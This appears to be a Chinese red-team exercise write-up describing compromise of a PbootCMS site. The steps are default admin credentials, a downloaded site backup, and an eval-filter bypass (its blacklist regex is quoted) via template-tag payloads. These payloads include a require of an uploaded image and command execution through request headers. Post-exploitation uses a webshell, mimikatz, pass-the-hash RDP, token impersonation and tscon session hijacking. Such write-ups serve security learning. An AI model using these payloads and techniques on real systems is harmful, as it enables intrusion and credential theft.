1月内部红蓝

代码审计

看到网站直接试admin就进后台了,然后上github找到了PbootCMS项目,尝试默认口令,admin:123456就进后台了。考点肯定不是这个。。。

Untitled.png

后来群里有人说有网站备份文件,访问wwwroot.zip下载到网站备份文件。浏览了一下发现有些缓存文件,访问后得到绝对路径。

Untitled%201.png

其实这次的靶场应该是某次CTF的原题,但环境是一开始是php5.4,尝试了一些方法没成功。好在后来环境还是换成php7所以成功shell了。

代码审计部分,某篇先知文章已经写过了,这里简单写写。首先定位eval函数,全站就一处,但严防死守。

Untitled%202.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);

// 还原可能包含的保留内容,避免判断失效
$matches[1][$i] = $this->restorePreLabel($matches[1][$i]);

// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}

// 过滤特殊字符串
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i', $matches[1][$i])) {
$danger = true;
}

// 如果有危险函数,则不解析该IF
if ($danger) {
continue;
}

eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

首先设置了可以使用函数的白名单,假如使用除白名单以外的函数回被识别为danger。这里限制了调用了函数,在KCon2019大会上的提出的新特性也过滤掉了,导致调用函数基本不成可能。

Untitled%203.png

第二个正则是限制了一些黑名单关键字,其中限制了include,但没有限制require,第一天看代码时眼花,把request看成require了。。。

后台有很多上传点,但都是白名单,绕不过。所以就就可以和这里结合(文件包含+文件上传=shell)。

1
{pboot:if(1)require "static/upload/image/xxxxxxx/1611416284187820.jpg";//)}sdfsd{/pboot:if}

该功能最简单触发的地方就是标题样式这里。

Untitled%204.png

填入之后发现并没有触发。通过调试发现前面还有一些别的处理,导致失败。一个就是pboot:if变成了pboot@if导致标签无法正常触发。

1
2
3
4
5
6
7
8
9
10
function filter($varname, $condition)
{
...
if (is_string($data)) {
$data = trim($data); // 去空格
$data = preg_replace_r('/(x3c)|(x3e)/', '', $data); // 去十六进制括号
$data = preg_replace_r('/pboot:if/i', 'pboot@if', $data); // 过滤插入cms条件语句
}
...
}

但后来找到了先知那篇文章,发现大佬利用密码不允许显示的空子的地方bypass了。

Untitled%205.png

但还有一个问题没有解决。payload中的 “ 被html实体编码了。

但是因为php5和函数被过滤的原因,暂时没想到解决的办法。。。好在,最后php环境切换了,所以,直接上paylaod。

1
{pboot{user:password}:if(1)(sys.tem)(((ne.xt)((getallheade.rs)())));;//)}sdfsd{/pboot:if}

上面那些都是在本地环境测试的。为了可以直接使用我准备好的exp我需要把url地址模式调为兼容模式。

Untitled%206.png

然后在标题样式处填入paylaod

Untitled%207.png

然后打paylaod,Cookie里填要执行的命令。发现是system权限,而且 system 没有被disable。

Untitled%208.png

为了更方便的操作,把之前传好的jpg copy成php放在网站根目录。

image-20210131002419240

然后就shell了,拿到服务器权限。信息收集看了一下,好像真的只是一台vps,没有内网,估计是到此为止了,上机器去看看。

Untitled%2010.png

mimikatz抓密码,结果解不出来。

Untitled%2011.png

既然服务器是server2012那就试试PTH-RDP。结果失败。。。应该是组策略的原因。

Untitled%2012.png

新建用户,然后利用incognito提升到system权限,然后 tscon 2 切过去。截图,结束战斗。。。

Untitled%2013.png

参考:

PbootCMS V3.0.1任意代码执行

评论